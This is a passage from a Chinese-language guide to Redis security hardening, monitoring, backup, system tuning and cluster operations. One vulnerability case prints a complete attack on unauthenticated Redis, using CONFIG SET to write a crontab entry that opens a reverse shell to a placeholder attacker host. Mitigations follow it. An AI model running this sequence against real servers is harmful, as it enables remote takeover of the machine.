AUTH your_strong_password_here密码以明文存储和传输(Redis 6.0 之前),6.0+ 可用 TLS 保护。
2. ACL (Redis 6.0+)
细粒度权限控制,不同用户不同权限。
# 创建只读用户
ACL SETUSER readonly_user on >readonly_pass ~* +@read -@write
# 创建受限用户(只能操作 user:* 前缀的 key)
ACL SETUSER app_user on >app_pass ~user:* +@all
# 禁用 default 用户
ACL SETUSER default off
# 查看所有用户
ACL LIST
# 查看当前用户的权限
ACL WHOAMI
# 从外部 ACL 文件加载
ACL LOADACL 文件格式(aclfile):
user default off
user readonly_user on #abc123... ~* +@read -@write
user app_user on #def456... ~user:* +@all权限分类:
| 权限类别 | 说明 |
|---|---|
+@all |
所有命令 |
+@read |
只读命令 |
+@write |
写命令 |
+@admin |
管理命令 |
+@dangerous |
危险命令(KEYS、FLUSHALL 等) |
-command |
禁用指定命令 |
~pattern |
允许访问的 key 模式 |
3. 绑定限制
# redis.conf
bind 127.0.0.1 10.0.1.100 # 仅本地和内网 IP
# 或 bind 0.0.0.0 配合防火墙使用4. 保护模式
protected-mode yes # 默认 yes,无密码 + 未 bind 本地时拒绝外部连接5. 命令禁用/重命名
# redis.conf
# 彻底禁用危险命令
rename-command KEYS ""
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""
# 或重命名为只有运维知道的随机后缀
rename-command SHUTDOWN SHUTDOWN_a3f8b2
rename-command DEBUG DEBUG_x7k2m1
# 保留 CONFIG 但限制为只读
rename-command CONFIG CONFIG_b9d1e06. 防火墙
# iptables 示例
iptables -A INPUT -p tcp --dport 6379 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -j DROP7. 非 root 运行
# 创建专用 redis 用户
useradd -r -s /sbin/nologin redis
chown -R redis:redis /data/redis /var/log/redis
# systemd 或 supervisor 中以 redis 用户启动8. 非默认端口
port 16379 # 改为非标准端口,降低被扫描的概率9. TLS/SSL (Redis 6.0+)
# redis.conf
tls-port 6380
tls-cert-file /etc/redis/tls/redis.crt
tls-key-file /etc/redis/tls/redis.key
tls-ca-cert-file /etc/redis/tls/ca.crt
tls-auth-clients optional # optional / yes / no客户端连接:
redis-cli --tls \
--cert /etc/redis/tls/client.crt \
--key /etc/redis/tls/client.key \
--cacert /etc/redis/tls/ca.crt \
-p 638010. 网络隔离
- 将 Redis 部署在独立的 VPC / 子网中。
- 仅允许业务应用所在的子网访问 Redis 子网。
- 使用安全组精确控制入站规则。
6.3 🚨 安全漏洞案例
反弹 Shell 攻击
攻击者利用未认证的 Redis 写入 crontab 实现反弹 shell:
# 1. 连接无密码的 Redis
redis-cli -h victim_ip
# 2. 设置持久化目录和文件名
CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root
# 3. 写入 crontab 内容
SET payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1\n\n"
# 4. 保存
SAVE防范:
- 禁用
CONFIG:rename-command CONFIG "" - 非 root 运行(无权写入系统目录)
- 开启密码认证
- 防火墙仅允许内网访问
7. 监控
7.1 核心监控指标
| 类别 | 指标 | 获取方式 | 关注阈值 |
|---|---|---|---|
| 连接 | connected_clients |
INFO clients |
> 80% maxclients |
| QPS | instantaneous_ops_per_sec |
INFO stats |
观察趋势和突刺 |
| 命中率 | keyspace_hits/(hits+misses) |
INFO stats |
< 90% 需优化 |
| 内存 | used_memory_rss |
INFO memory |
> 80% maxmemory |
| 碎片率 | mem_fragmentation_ratio |
INFO memory |
> 1.5 关注,> 2 告警 |
| 过期 | expired_keys 增长趋势 |
INFO stats |
突增表示大量过期 |
| 淘汰 | evicted_keys |
INFO stats |
> 0 表示内存不足,已触发淘汰 |
| 复制 | master_link_status |
INFO replication |
down 表示同步断开 |
| 复制延迟 | master_last_io_seconds_ago |
INFO replication |
> 10s 告警 |
| 阻塞客户端 | blocked_clients |
INFO clients |
> 0 需关注(BLPOP 等等待) |
| RDB 状态 | rdb_last_bgsave_status |
INFO persistence |
err 备份失败 |
| 慢查询 | 条数 | SLOWLOG LEN |
> 100/min 告警 |
| CPU | used_cpu_sys / used_cpu_user |
INFO cpu |
> 80% 单核需排查 |
关键指标详解
keyspace_hits = 95,000,000
keyspace_misses = 5,000,000
命中率 = 95000000 / (95000000 + 5000000) = 95%💡 命中率低的原因排查:
- 内存不足导致淘汰
- 过期策略导致 key 提前失效
- 业务逻辑错误(查了不存的 key)
- 缓存预热不充分
7.2 监控工具
| 工具 | 能力 | 适用场景 |
|---|---|---|
redis-cli --stat |
实时打印 QPS、内存、命中率等 | 快速排查 |
redis-cli --latency |
测量客户端到 Redis 的平均/最大/最小延迟 | 延迟排查 |
redis-cli --latency-history |
持续监控延迟并绘制分布 | 延迟趋势观察 |
| RedisInsight | Redis 官方 GUI:内存分析、慢查询、集群拓扑 | 日常运维管理 |
| Prometheus + Grafana | redis_exporter + Dashboard 模板 |
生产监控标准方案 |
| ELK | 将慢查询日志 + 系统日志导入 ES | 日志聚合分析 |
| 云厂商监控 | 阿里云 DAS、腾讯云 DBbrain | 托管 Redis 场景 |
Prometheus + Grafana 搭建
# docker-compose.yml
version: '3'
services:
redis_exporter:
image: oliver006/redis_exporter:latest
environment:
- REDIS_ADDR=redis://10.0.1.100:6379
- REDIS_PASSWORD=your_password
ports:
- "9121:9121"Grafana Dashboard 推荐:
- Dashboard ID 763(Redis Dashboard for Prometheus Redis Exporter)——社区最流行。
- Dashboard ID 11835(更细粒度的 Redis 监控面板)。
redis-cli 快速诊断
# 实时统计
redis-cli -h 127.0.0.1 -p 6379 --stat
# 延迟监控 (Ctrl+C 停止)
redis-cli -h 127.0.0.1 -p 6379 --latency
# 延迟历史 (每 15 秒输出一次)
redis-cli -h 127.0.0.1 -p 6379 --latency-history
# 延迟分布 (采样并统计分位值)
redis-cli -h 127.0.0.1 -p 6379 --latency-dist7.3 告警阈值建议
| 告警项 | 阈值 | 级别 |
|---|---|---|
| 内存使用率 > 80% | Warning | P2 |
| 内存使用率 > 95% | Critical | P1 |
| 连接数 > 80% maxclients | Warning | P2 |
| 连接数 > 95% maxclients | Critical | P1 |
| 缓存命中率 < 90% | Warning | P3 |
| 缓存命中率 < 80% | Critical | P2 |
| 碎片率 > 2.0 | Warning | P3 |
| 主从延迟 > 10s | Warning | P2 |
| 主从延迟 > 60s | Critical | P1 |
| 有 key 被淘汰(evicted_keys 增长) | Warning | P2 |
| 慢查询 > 100 条/分钟 | Warning | P3 |
| RDB 备份失败 | Critical | P1 |
| 主从复制断开 | Critical | P1 |
| 进程 down | Critical | P0 |
8. 备份与恢复
8.1 备份策略
RDB 自动备份
# crontab 示例
# 每小时的 0 分钟执行 BGSAVE
0 * * * * /usr/local/bin/redis-cli -h 127.0.0.1 -p 6379 -a your_password bgsave >> /var/log/redis/backup.log 2>&1
# 每天凌晨 3 点将 RDB 文件备份到远程存储(异地)
0 3 * * * cp /data/redis/dump.rdb /backup/redis/dump.$(date +\%Y\%m\%d).rdb && \
echo "Backup completed: $(date +\%Y\%m\%d)" >> /var/log/redis/backup.log
# 每天凌晨 4 点将备份同步到对象存储
0 4 * * * /usr/local/bin/ossutil cp /backup/redis/dump.$(date +\%Y\%m\%d).rdb \
oss://my-backup-bucket/redis/$(date +\%Y\%m\%d)/dump.rdb >> /var/log/redis/backup.log 2>&1AOF 备份
# 每小时的 15 分钟执行 AOF rewrite(如果碎片率高)
15 * * * * /usr/local/bin/redis-cli -h 127.0.0.1 -p 6379 -a your_password \
BGREWRITEAOF >> /var/log/redis/backup.log 2>&1💡 备份保留策略
# 保留周期建议
/backup/redis/
├── daily/
│ ├── dump.20260709.rdb
│ ├── dump.20260710.rdb
│ └── dump.20260711.rdb # 最近 7 天
├── weekly/
│ ├── dump.202607_w1.rdb
│ └── dump.202607_w2.rdb # 最近 4 周
└── monthly/
└── dump.202606.rdb # 最近 12 个月清理脚本示例:
#!/bin/bash
# 删除 7 天前的每日备份
find /backup/redis/daily/ -name "dump.*.rdb" -mtime +7 -delete
# 删除 30 天前的每周备份
find /backup/redis/weekly/ -name "dump.*.rdb" -mtime +30 -delete8.2 恢复流程
1. 停止写入(或切换流量到备节点)
│
▼
2. 停止 Redis 服务
systemctl stop redis
│
▼
3. 替换 RDB/AOF 文件
cp /backup/redis/dump.20260711.rdb /data/redis/dump.rdb
│
▼
4. 启动 Redis
systemctl start redis
│
▼
5. 验证数据
redis-cli INFO keyspace
redis-cli DBSIZE
抽查关键业务 key 是否存在且正确
│
▼
6. 恢复写入 / 切回流量🚨 注意事项:
- 恢复前务必确认当前
/data/redis/中的旧文件已备份,以便失败时回滚。 - 如果混用 RDB + AOF,启动时优先加载 AOF(数据更完整)。如果需要从 RDB 恢复,需先删除或搬走 AOF 文件。
- 主从架构中:先恢复主节点,再触发从节点全量同步。
8.3 恢复演练
# 在测试环境定期执行恢复演练脚本
#!/bin/bash
BACKUP_FILE=$1
TEST_REDIS_PORT=6380
# 1. 停止测试实例
redis-cli -p $TEST_REDIS_PORT -a test_pass SHUTDOWN NOSAVE
# 2. 清空测试数据目录
rm -f /data/redis_test/dump.rdb /data/redis_test/appendonly.aof
# 3. 复制备份
cp $BACKUP_FILE /data/redis_test/dump.rdb
# 4. 启动测试实例
redis-server /etc/redis/redis_test.conf --port $TEST_REDIS_PORT
# 5. 等待启动完成
sleep 5
# 6. 验证
KEY_COUNT=$(redis-cli -p $TEST_REDIS_PORT -a test_pass DBSIZE)
echo "Recovered key count: $KEY_COUNT"
# 7. 验证 RDB 文件完整性(离线检查)
redis-check-rdb $BACKUP_FILE
REDIS_CHECK_EXIT=$?
if [ $REDIS_CHECK_EXIT -ne 0 ]; then
echo "RDB file is corrupted: $BACKUP_FILE"
exit 1
fi
echo "Recovery drill completed successfully"检查 AOF 文件完整性
redis-check-aof --fix /data/redis/appendonly.aof
--fix会截断 AOF 尾部不完整的部分(可能导致丢失最后几条写操作)。先备份再修复。
9. 部署架构建议
9.1 部署模式选型
| 模式 | QPS 上限 | 数据量上限 | 高可用 | 适用场景 |
|---|---|---|---|---|
| 单机 | ~10 万/秒 | < 机器内存 | 无 | 开发/测试 |
| 主从 | ~10 万/秒(写),读可水平扩展 | < 机器内存 | 手动切换 | 读写分离、读多写少 |
| Sentinel | ~10 万/秒 | < 机器内存 | 自动故障转移 | 中小规模生产环境 |
| Cluster | 水平扩展 | 水平扩展(16384 个 slot) | 自动故障转移 | 大规模生产、数据量大、高并发 |
| Proxy(Codis/twemproxy) | 水平扩展 | 水平扩展 | 依赖编排 | 需要跨 slot 操作、平滑迁移 |
单机 QPS 10 万是一个经验值,实际取决于 CPU、命令复杂度和 Pipeline 使用情况。简单 GET/SET 在优化良好时可达 10~15 万。
9.2 💡 部署最佳实践
硬件选择
- 不要和 CPU 密集型应用混布:Redis 是单线程(6.0 前),与其他 CPU 密集型应用竞争会导致 Redis 响应抖动。
- 不要和高磁盘 IO 应用混布:BGSAVE/AOF 重写会触发大量磁盘 IO。
- 使用 SSD:AOF 和 RDB 的持久化 + 写盘延迟对 HDD 是灾难,SSD 可将 fsync 延迟从几十 ms 降到 1ms 以内。
- 单实例内存 < 10 GB:
fork()创建子进程时需要复制页表,内存越大fork()越慢。如果必须大于 10 GB,考虑采用 Cluster 分片。
fork 与 COW(Copy-On-Write)
┌──────────────────────────────────────────────────────────┐
│ BGSAVE 触发 → 父进程 fork() → 子进程 │
│ │
│ fork() 阶段(阻塞): │
│ - 复制页表(不是数据本身) │
│ - 10GB 实例 fork 耗时约 100-500ms │
│ - 期间 Redis 主线程不处理任何请求 │
│ │
│ COW 阶段(不阻塞但消耗内存): │
│ - 父进程写入某页 → 内核先复制该页给子进程 → 父进程再写入 │
│ - 如果大量写入 → 大量 COW → 内存翻倍风险 │
│ - 预留 30%-50% 内存给 COW │
└──────────────────────────────────────────────────────────┘系统调优
# /etc/sysctl.conf
# 内存分配策略:允许 overcommit(Redis fork 需要)
vm.overcommit_memory = 1
# 尽量不 swap —— Redis 数据一旦 swap 出去,延迟从微秒变成毫秒
vm.swappiness = 1
# 增大全连接队列(高并发连接时)
net.core.somaxconn = 65535
# 增大半连接队列(防止 SYN flood 误伤)
net.ipv4.tcp_max_syn_backlog = 65535
# 允许更多的 TIME_WAIT 连接复用
net.ipv4.tcp_tw_reuse = 1# 立即生效
sysctl -p透明大页 (THP)
# 查看当前状态
cat /sys/kernel/mm/transparent_hugepage/enabled
# 输出: [always] madvise never
# 关闭(立即生效)
echo never > /sys/kernel/mm/transparent_hugepage/enabled
echo never > /sys/kernel/mm/transparent_hugepage/defrag
# 永久关闭
# /etc/rc.local
echo never > /sys/kernel/mm/transparent_hugepage/enabled
echo never > /sys/kernel/mm/transparent_hugepage/defrag🔬 为什么 THP 对 Redis 是灾难:
- Linux 透明大页会在后台异步地将 4KB 小页合并为 2MB 大页,这个过程会导致内存拷贝。
- Redis 的
fork()+ COW 模型中,如果 THP 在活跃地合并页,会导致 COW 时复制的页远多于实际需要修改的页(因为合并过程中已经移动了数据)。 - 结果:
fork()延迟升高、内存占用暴增。
NUMA 优化
# 如果服务器有多个 NUMA 节点,使用 numactl 交错分配内存
numactl --interleave=all redis-server /etc/redis/redis.conf🔬 NUMA 问题:Linux 默认在本地 NUMA 节点分配内存。如果 Redis 进程运行在一个 NUMA 节点,但数据量接近该节点的内存上限,就会触发 swap —— 即使其他 NUMA 节点还有空闲内存。interleave=all 强制在所有节点轮询分配。
连接队列
# redis.conf
tcp-backlog 511 # = somaxconn 和 tcp_max_syn_backlog 的较小值确保这个值 <= net.core.somaxconn,否则会被内核截断。
9.3 系统优化参数汇总
# ===== /etc/sysctl.conf =====
vm.overcommit_memory = 1
vm.swappiness = 1
net.core.somaxconn = 65535
net.ipv4.tcp_max_syn_backlog = 65535
net.ipv4.tcp_tw_reuse = 1
# ===== /etc/security/limits.conf =====
redis soft nofile 65535
redis hard nofile 65535
redis soft nproc 65535
redis hard nproc 65535
# ===== /etc/rc.local =====
echo never > /sys/kernel/mm/transparent_hugepage/enabled
echo never > /sys/kernel/mm/transparent_hugepage/defrag
# ===== 启动方式(systemd override)=====
# /etc/systemd/system/redis.service.d/override.conf
[Service]
ExecStart=
ExecStart=/usr/bin/numactl --interleave=all /usr/local/bin/redis-server /etc/redis/redis.conf
LimitNOFILE=6553510. 客户端缓冲区管理
客户端缓冲区是 Redis 为每个客户端分配的输出缓冲区,用于暂存还没被客户端读取的响应数据。如果客户端读取慢或堆积了大量订阅消息(PubSub),输出缓冲区会不断膨胀直到 OOM。
三类缓冲区
| 缓冲区类型 | 说明 | 默认限制 |
|---|---|---|
| 输入缓冲区 | 接收客户端发送的命令 | 最大 1 GB(硬编码,不可配置) |
| 普通客户端输出缓冲区 | 常规命令的响应 | normal 0 0 0(无限制)⚠️ |
| 从节点客户端输出缓冲区 | 主节点发给从节点的复制数据 | replica 256mb 64mb 60 |
| PubSub 客户端输出缓冲区 | 订阅频道的消息 | pubsub 32mb 8mb 60 |
配置说明
# redis.conf
# client-output-buffer-limit <class> <hard limit> <soft limit> <soft seconds>
#
# hard limit: 绝对上限,超过立即断开
# soft limit + soft seconds: 超过软限制并持续 N 秒后断开
client-output-buffer-limit normal 0 0 0
client-output-buffer-limit replica 256mb 64mb 60
client-output-buffer-limit pubsub 32mb 8mb 60配置解读
- normal 0 0 0:普通客户端无限制。如果某个客户端发起
LRANGE 0 -1获取超大 List 但不读结果,输出缓冲区会膨胀到占满内存。🚨 建议设置一个合理的上限:
# 建议配置:硬限制 64MB,软限制 32MB 持续 60 秒
client-output-buffer-limit normal 64mb 32mb 60- replica 256mb 64mb 60:从节点复制缓冲区硬限制 256 MB。如果从节点长时间断开,复制积压数据超过 256 MB 后主节点会断开该从节点——恢复时必须全量同步。
- pubsub 32mb 8mb 60:PubSub 客户端如果订阅了高吞吐频道但消费慢,超过限制后被强制断开。
查看客户端缓冲区
# 查看每个客户端的输出缓冲区占用
CLIENT LIST
# 输出中关注:omem=xxx (output buffer memory)
# cmd=xxx (last command)
# age=xxx (connection age in seconds)
omem是当前输出缓冲区的字节数。如果某个客户端omem持续增长且不回落,说明客户端消费能力跟不上。
🚨 常见场景:
- 慢消费者:客户端处理每条响应耗时长(如写数据库),导致缓冲区堆积。
- PubSub 泛滥:大量
SUBSCRIBE后客户端断开连接异常,消息堆积。 - 从节点复制中断后重连:积压数据量超过
replica硬限制,被迫全量同步。
11. 集群运维注意
Redis Cluster 在生产中需要额外关注一些配置和行为。
关键配置
# redis.conf
# 节点间通信端口 = port + 10000(如 6379 → 16379)
# 确保防火墙放开这两个端口
# 节点超时时间
cluster-node-timeout 15000 # 默认 15 秒,可根据网络质量调整
# 是否要求所有 slot 都有节点负责
cluster-require-full-coverage no # 建议设为 no🚨
cluster-require-full-coverage yes(默认):只要有一个 slot 不可用,整个集群拒绝所有操作。在生产中,某个节点挂掉、重新分配 slot 期间,整个集群都会不可用。强烈建议设为no——可用 slot 继续服务,不可用 slot 返回CLUSTERDOWN。
集群规模限制
- 节点数 < 1000:Gossip 协议在节点间定期交换元数据,节点越多,带宽开销越大。Redis 官方建议单集群不超过 1000 个节点。
- 避免单物理机过多节点:单机故障影响范围大。推荐每台物理机 1~2 个 Redis 实例。
- Gossip 消息频率:每秒每个节点向随机几个其他节点发送 PING,规模 100 节点时,每秒约 1000 条 Gossip 消息,带宽约 1~2 Mbps,尚可接受。
集群操作注意事项
# 迁移 slot 时控制迁移速度(避免阻塞)
redis-cli --cluster reshard 127.0.0.1:6379 \
--cluster-from node_id1 \
--cluster-to node_id2 \
--cluster-slots 1000 \
--cluster-timeout 60000 \
--cluster-pipeline 10 # pipeline 批量迁移,提升速度- 迁移期间源节点和目标节点的被迁移 key 处于锁定状态,但同一 slot 的其他 key 不受影响。
- 建议在低峰期进行 slot 迁移,且每次迁移的 slot 数不要太多(1000~2000 个)。
多 key 操作限制
集群模式下,MGET、MSET、SUNION 等多 key 命令要求所有 key 在同一个 slot 中:
# 报错
MGET key1 key2
# (error) CROSSSLOT Keys in request don't hash to the same slot
# 正确:使用 hash_tag
MGET {user:1001}:name {user:1001}:age {user:1001}:email集群监控要点
# 集群状态
CLUSTER INFO
# 节点列表
CLUSTER NODES
# Slot 分布
CLUSTER SLOTS
# 检查集群一致性
redis-cli --cluster check 127.0.0.1:637912. 🚨 常见陷阱
内存相关
| 陷阱 | 后果 | 解决方案 |
|---|---|---|
maxmemory=0(无限制) |
内存耗尽 → OS OOM Killer 杀死 Redis | 必须设置 maxmemory 并配置淘汰策略 |
| 未配置客户端输出缓冲区限制 | 慢消费客户端 → 输出缓冲区爆炸 → OOM | 设置 client-output-buffer-limit normal 64mb 32mb 60 |
未开启 activedefrag |
碎片率持续升高到 3+,内存利用率低 | activedefrag yes |
| 透明大页(THP)未关闭 | fork() 延迟飙升,COW 内存倍增 |
echo never > /sys/kernel/mm/transparent_hugepage/enabled |
vm.overcommit_memory=0 |
fork() 失败 → BGSAVE 失败 |
sysctl vm.overcommit_memory=1 |
| 单实例内存过大(> 20 GB) | fork() 耗时秒级,阻塞请求 |
拆分为 Cluster 分片,单实例控制在 10 GB 以下 |
maxmemory-samples 过大 |
LRU/LFU 淘汰 CPU 占用高 | 建议 10,不要超过 20 |
命令相关
| 陷阱 | 后果 | 解决方案 |
|---|---|---|
未重命名/禁用 KEYS、FLUSHALL |
线上误操作或攻击导致服务不可用 | rename-command KEYS "" |
集群中未禁用 KEYS |
跨节点 KEYS 导致遍历所有节点 | 同上 + 使用 SCAN |
DEL 删除 Bigkey |
主线程阻塞数秒 | 使用 UNLINK 或渐进式删除 |
HGETALL / SMEMBERS / LRANGE 0 -1 在大集合上 |
响应几百 ms,阻塞主线程 | 改用 HSCAN / SSCAN / LRANGE 0 99 |
持久化与备份相关
| 陷阱 | 后果 | 解决方案 |
|---|---|---|
| 多个 BGSAVE 同时执行 | 资源竞争,IO 飙升 | 避免 crontab 和自动触发重叠 |
| AOF rewrite 期间磁盘 IO 飙升 | 请求延迟升高 | 设置 aof-rewrite-incremental-fsync yes(增量 fsync) |
| 未定期验证备份文件 | 故障时发现 RDB 文件损坏 | 定期 redis-check-rdb 验证 |
| 恢复时 RDB 和 AOF 混用 | 启动后数据不正确 | 明确当前选择哪种持久化方案 |
配置相关
| 陷阱 | 后果 | 解决方案 |
|---|---|---|
cluster-require-full-coverage yes |
单节点故障 → 整个集群不可用 | 设为 no |
protected-mode no 且无密码 |
被公网扫描并攻击 | 保持 protected-mode yes 或开启密码 |
| root 运行 Redis | 被攻击后可写系统文件 | 创建专用 redis 用户 |
从节点 replica-read-only no |
主从数据不一致 | 保持 yes |
| NUMA 未优化 | 单 NUMA 节点内存耗尽触发 swap | numactl --interleave=all |
| swap 未限制 | Redis 数据被 swap 后延迟从微秒变毫秒 | vm.swappiness=1 |
集群相关
| 陷阱 | 后果 | 解决方案 |
|---|---|---|
| hash_tag 滥用 | 热点 slot → 单节点压力过大 | 合理分散 tag,监控 slot 分布 |
| 单物理机过多节点 | 主机故障 → 大量分片同时不可用 | 每台物理机 1~2 个实例 |
cluster-node-timeout 过小 |
网络抖动导致不必要的故障转移 | 设置 ≥ 15 秒,根据网络质量调整 |
附录:运维检查清单
上线前检查
-
maxmemory已设置且合理(小于物理内存 - 预留 COW 空间) -
maxmemory-policy已按业务场景选择 - 密码已配置,且复杂度足够
-
bind改为内网 IP,未监听0.0.0.0(或配合防火墙) -
protected-mode yes(有密码时可选,但建议保留) -
KEYS/FLUSHALL/FLUSHDB/CONFIG已禁用或重命名 -
rename-command的随机后缀已记录到运维文档 - 非 root 用户运行
- 系统参数(THP、
overcommit_memory、swappiness)已调优 - 慢查询阈值设为 1ms(
slowlog-log-slower-than 1000) -
slowlog-max-len设为 1000 - 客户端输出缓冲区限制已配置
-
cluster-require-full-coverage no(集群模式) - 备份脚本已部署且首次备份成功
- 监控告警已配置(内存、命中率、连接数、复制状态)
日常巡检
-
INFO memory检查碎片率 -
SLOWLOG LEN检查慢查询增长 -
INFO stats检查evicted_keys和命中率 -
INFO replication检查主从延迟 - 备份文件完整性(
redis-check-rdb) - 备份文件保留周期符合预期
故障处理速查
| 现象 | 优先检查 |
|---|---|
| 延迟突然升高 | SLOWLOG GET 10 → LATENCY LATEST → --latency |
| 内存使用持续增长 | MEMORY DOCTOR → INFO memory 碎片率 → 检查 bigkey |
| 服务不可用(连接拒绝) | systemctl status redis → dmesg | grep -i oom → 磁盘空间 |
| 主从复制断开 | INFO replication → 网络连通性 → 防火墙规则 |
| QPS 突然下降 | SLOWLOG → INFO stats → CPU/内存/磁盘 IO |
| 内存不足告警 | evicted_keys → maxmemory → 是否需要扩容或调整策略 |